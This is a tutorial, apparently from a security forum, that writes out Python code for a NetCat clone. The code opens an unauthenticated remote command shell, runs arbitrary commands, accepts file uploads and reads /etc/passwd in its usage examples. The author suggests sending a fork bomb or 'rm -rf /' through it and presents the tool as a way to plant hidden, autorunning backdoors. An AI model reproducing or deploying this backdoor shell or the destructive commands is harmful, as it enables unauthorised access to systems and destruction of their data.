
Introduction
What comes to mind when you hear the word Python? Multifunctionality or cross-platform? Maybe fast speed, because everyone associates this language with different tasks and advantages. But today let's devote time to Python in the field of information security. Here it is ideal for writing scripts and various exploits. Its efficiency leaves competitors behind. Therefore, let's try to write a useful utility for fast work in it.
Work plan
When I first thought about the capabilities of Python, for some reason its speed immediately came to mind. The process of processing information and sending it to another point. Therefore, in this article, for the purpose of an experiment, I want to show how well this language can handle the network. Simply put, I will show you how to write your own analogue of NetCat, but in a more modern language. The original utility uses resources of the C family and therefore it will be very problematic to compete with it, although let's not forget that one of the main components of Python is C++. Let's get to work!
A bit of theory
Here I left a couple of hints from myself, so as not to burden the article with unnecessary theory, which I talked about earlier. Also, let's add the term NetCat to the list, for those who are just getting to know the world of information security.
NetCat is a Unix utility that allows you to establish TCP/UDP connections, receive data from them and transmit them. Despite its usefulness and simplicity, this utility is not included in any standard. Therefore, advanced system administrators try to quickly remove this thing from their devices.
Because of its "standards", this utility may not be on the device you need. And in this case, straight hands and the presence of IDE at hand come in handy. Also, if you are a complete beginner and do not know how the network is arranged, then I recommend reading a couple of articles from the forum and magazine. Otherwise, let's start writing our code.
- Getting to know ARP and the concept of protocol;
- Basics of TLS and working in Python;
For work I used PyCharm and Python version 3.10. You can download all this from the official website of the developers. You will also need any Linux distribution, since the program will have flags and run in the python file format. Well, for our code to work, let's import all the necessary modules.
Python:
import argparse
import socket
import shlex
import subprocess
import sys
import textwrap
import threading
Since NetCat is a remote access utility, its operation will require proper configuration of packages, as well as work with the system and processes. All these modules will help us create a high-quality and continuous connection to the device. After that, we will create a function below that will process and return commands in the form we need. Subprocess and direct hands will help us with this. The code itself looks like this:
Python:
def execute(cmd):
cmd = cmd.strip() # Проверка строки
if not cmd: # Условие, если строка пустая
return
output = subprocess.check_output(shlex.split(cmd), stderr=subprocess.STDOUT) # Чтение и возрват (1)
return output.decode()
In point 1, you can see an example of using our module. In this case, the check_out command is used, which executes a command in the local operating system. Also, let's not forget about creating the main of our code, which will be responsible for the arguments and other functions for creating the console interface. Everything is as simple as possible here. When using the help argument, our code will output all the information about each flag and its application during operation. To implement this, it is worth using the argument parser. I left the entire code below.
Code:
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Python Cat Network', formatter_class=argparse.RawDescriptionHelpFormatter, epilog=textwrap.dedent('''
Example:
netcat.py -t 127.0.0.1 -p 4444 -l -c
netcat.py -t 127.0.0.1 -p 4444 -l -u=mytest.txt
netcat.py -t 127.0.0.1 -p 4444 -l -e=\"cat /etc/passwd\"
echo 'ABC' | ./netcat.py -t 127.0.0.1 -p 1234
netcat.py -t 127.0.0.1 -p 4444
'''))
parser.add_argument('-c', '--command', action='store_true',
help='command shell')
parser.add_argument('-e', '--execute', help='execute specified command')
parser.add_argument('-l', '--listen', action='store_true', help='listen')
parser.add_argument('-p', '--port', type=int, default=5555,
help='specified port')
parser.add_argument('-t', '--target', default='192.168.1.203',
help='specified IP')
parser.add_argument('-u', '--upload', help='upload file')
args = parser.parse_args()
if args.listen:
buffer = ''
else:
buffer = sys.stdin.read()
nc = NetCat(args, buffer.encode())
nc.run()
As you can see, the code is as simple as possible. Most often, we use the add argument from the Parser module to add the entire list of help commands to our code. Also, if the utility is used as a listener, we call the object with an empty buffer, otherwise the contents of stdin are saved. After that, the main class is launched with arguments and buffer decoding. But for now we have nothing to call, so I suggest fixing the situation. To do this, we create the NetCat class and start assembling it as a constructor, adding arguments one by one.
Code:
class NetCat:
def __init__(self, args, buffer=None):
self.args = args # Наши будующие аргументы
self.buffer = buffer # Буфер с данными
self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # Подключение к серверу
self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) # Обработка запроса и протоколов
def run(self):
if self.args.listen:
self.listen()
else:
self.send()
Before sending data, you need to provide an emergency stop function for the transfer. To do this, we will approach it in a non-standard way and call the KeyboardInterrupt exception. The point is that this type of error occurs when pressing Ctrl + C, so in order not to reinvent the wheel, let's just intercept it and create our own output. In code, this whole thing looks something like this:
Python:
def send(self):
self.socket.connect((self.args.target, self.args.port))
if self.buffer:
self.socket.send(self.buffer)
try:
while True:
recv_len = 1
response = ''
while recv_len:
data = self.socket.recv(4096)
recv_len = len(data)
response += data.decode()
if recv_len > 4096:
print("[/] Message is too long.")
break
if response:
print(response)
buffer = input('> ')
buffer += '\n'
self.socket.send(buffer.encode())
except KeyboardInterrupt:
print('[!] Operation aborted')
self.socket.close()
sys.exit()
Here we exchange data between the client and the server. First, we read our buffer and send its contents, then we intercept the exception to have manual control over the connection and, if necessary, interrupt the connection with the host. Then we loop, you don’t want to run the program every time to send one sentence, do you? After that, we set the buffer size for receiving and check all the information using conditional cycles. You can easily adjust this data to suit yourself. After that, we receive and display our response on the screen, simultaneously offering the user to respond to the message using the invitation in the buffer variable. Don’t forget to add decoding and a new line to this, so that everything looks nice and attractive. Along the way, we close our try/except and end the session by pressing Ctrl+C.
Now let’s add a listening mode to all this, so that the program waits for a new response, and does not close the connection. For this, in the NetCat class, we specified our listen() function, which is exactly what should be implemented. To do this, leave space below send() and write the following code:
Python:
def listen(self):
self.socket.bind((self.args.target, self.args.port)) # Биндим соединение с хостом
self.socket.listen(5) # Устанавливаем прослушку и кол-во подключений
while True:
client_socket, _ = self.socket.accept() # Принимаем соединение с клиентом
client_thread = threading.Thread(target=self.handle, args=(client_socket,))
client_thread.start()
I think there is no need for explanations here. Take a look at the comments to the code and everything will immediately fall into place. We have nothing new or unusual. The client_thread variable accesses the next stage of our code and takes the machine data from there along with the arguments. Well, now we have the most interesting part. So that the program does not seem so simple, we will complicate it by creating a file transmitter. This is all implemented in several stages and has a unique format. To understand all this, I recommend looking at the code below:
Python:
def handle(self, client_socket):
if self.args.execute:
output = execute(self.args.execute)
client_socket.send(output.encode())
elif self.args.upload:
file_buffer = b''
while True:
data = client_socket.recv(4096)
if data:
file_buffer += data
else:
break
with open(self.args.upload, 'wb') as f:
f.write(file_buffer)
message = f'Saved file {self.args.upload}'
client_socket.send(message.encode())
Python:
elif self.args.command:
cmd_buffer = b'' # Снова задаем буфер
while True:
try:
client_socket.send(b'Unknown: #> ') # Приглашение для ввода команды
while '\n' not in cmd_buffer.decode():
cmd_buffer += client_socket.recv(64)
response = execute(cmd_buffer.decode()) # Декодирование команды в читаемый для пк вид
if response:
client_socket.send(response.encode()) # Отправка ответа
cmd_buffer = b'' # Очистка буфера
except Exception as e: # В случаи ошибки говорим что сервер умер от потери питания
print(f'Server died from power loss {e}')
self.socket.close()
sys.exit()
Now we have a console command handler and you can easily send a fork bomb to the server or write rm -rf / as a superuser to destroy the system. Also, let's now count how many lines our program takes. With all the spaces and indents, it comes out to 134 lines of code. At the same time, we have in our arsenal sending data to another device, listening mode and downloading information. Also, executing console commands, which is not unimportant. That is, we came as close as possible to creating a semblance of NetCat. Of course, this utility has a much larger flags and functions, but based on this code, you have every right to add new flags and functions for more multifunctional work with the network.
Summing up
So, based on the results of the experiment, we managed to recreate a compact version of the well-known NetCat utility, but with a different programming language and a more complex installation. For what purposes is this program useful? At a minimum, you will be able to leave backdoors in the system by adding autorun to the program and hiding in the task manager. Finding such a hiding place will be quite problematic. But I will be able to tell about this in subsequent articles.